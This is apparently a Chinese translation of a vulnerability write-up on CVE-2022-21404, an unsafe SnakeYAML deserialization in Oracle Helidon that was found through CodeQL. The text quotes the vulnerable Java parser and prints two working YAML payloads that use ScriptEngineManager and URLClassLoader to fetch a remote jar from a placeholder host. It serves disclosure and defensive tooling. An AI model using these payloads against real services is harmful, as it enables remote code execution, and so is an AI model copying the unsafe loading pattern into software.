cve-2022-21404: 因为CodeQL而不知不觉地修复漏洞的故事
作者:Sec-Labs | 发布时间:
作者
文章原作者为Paulino Calderon.
原文链接《CVE-2022-21404: Another story of developers fixing vulnerabilities unknowingly because of CodeQL》
正文
我最近参加了一个虚拟社区日(virtual community day),在那里我简要地讨论了CodeQL和GitHub安全实验室如何确保开源空间的安全。在这次谈话中,我想到了下面这个故事,但不幸的是,我没有足够的时间去深入了解这个细节。这篇文章的目的不是指责开发者,而是强调CodeQL的有效性,并分享一个PoC,以滥用在最新版本的SnakeYAML上测试的YAML文件的不安全加载。
CVE-2022-21404是在log4j漏洞混乱中发现的,当时我正在研究编写一个CodeQL查询来检测受影响的项目。当我遇到Oracle Helidon时,我使用了测试版和当前版本的GitHub Search来寻找不同的软件包名称,这是一套用于将微服务写成Java SE程序的Java库。
引起我注意的是一个标题为 "使用SafeConstructor与YAML解析 "的拉动请求。

第二条评论中的 "LGTM "信息让我迅速检查,CodeQL确认了一个可能的不安全的反序列化问题。未打补丁的函数如下。
public ObjectNode parse(Content content) throws ConfigParserException {
Map yamlMap;
try (InputStreamReader reader = new InputStreamReader(content.data(), content.charset())) {
Yaml yaml = new Yaml();
yamlMap = yaml.loadAs(reader, Map.class);
if (yamlMap == null) { // empty source
return ObjectNode.empty();
}
return fromMap(yamlMap);
} catch (ConfigException e) {
throw e;
} catch (Exception e) {
throw new ConfigParserException("Cannot read from source: " + e.getLocalizedMessage(), e);
}
}
我们看到InputStreamReader读者流向yaml.loadAs(reader, Map.class)。Oracle Helidon使用SnakeYAML进行YAML序列化,如果不使用安全版本的构造器,这个库已知会受到反序列化漏洞的影响。而且他们认为安全版本的构造函数是隐式使用的,但我在审查最新版本的SnakeYAML时没有看到这种行为的迹象。你需要使用SafeConstructor,否则它看起来是可利用的。
现在,是时候证明这一点了。我在GitHub安全实验室发现了一篇描述YAML反序列化的优秀文章,以及一种滥用ScriptEngineManager获得远程代码执行的技术。使用这种技术加载一个远程类的字符串有效载荷看起来像这样。
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://<EVIL>\"]]]]\n
然而,这种有效载荷不会起作用,因为他们已经限制了类的类型为Map.class(yaml.loadAs(reader, Map.class))。我们需要创建一个恶意的Map对象来调用ScriptEngineManager。Map类只是将键映射到普通对象上(https://docs.oracle.com/javase/8/docs/api/java/util/Map.html)。一个使用 "key: value "格式的恶意对象能不能工作?
42: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://<EVIL>/payload.jar\"]]]]\n
我抓了最新版本的SnakeYAML(当时是1.30),并写了一个简单的PoC Java代码,看看我是否真的可以执行任意代码。
这个高影响的漏洞没有影响到最新的版本,只是因为他们在不知情的情况下修复了它,以消除LGTM.com的 "假阳性 "警报。但是这个漏洞并没有在所有的分支中被修复,用户也没有被警告过这个危险。由于获得远程代码执行即使在映射到类Map时也是可能的,用Oracle Helidon 0.9.x, 0.10.x, 0.11.x, 1.0.x, 1.1.x, 1.2.x, 1.3.x, 1.4.x, 2.0.0-M1, 2.0.0-M2, 2.0.0-M3, 2.0.0-M4和2.0.0-RC1版本开发的Java应用程序仍然受到影响并暴露于利用。
在与甲骨文公司确认该问题并等待补丁后,他们在关键补丁更新咨询--2022年4月上解决了这个问题。如果你不确定你的Oracle Helidon应用程序是否使用了受影响的功能,可以试试这个CodeQL查询,找到对受影响的函数UrlConfigSource的调用。
这个故事的寓意是什么?相信你的CodeQL警报。数据流分析已被证明在减少假阳性警报方面非常有效,而且查询在被移出实验文件夹之前会被团队和社区广泛地审查。如果你看到 CodeQL 警报,千万不要忽视它! 如果你需要帮助来确定你的开源项目中的警报是否有效,请联系GitHub安全实验室团队或社区;我相信有人会很乐意看一看:)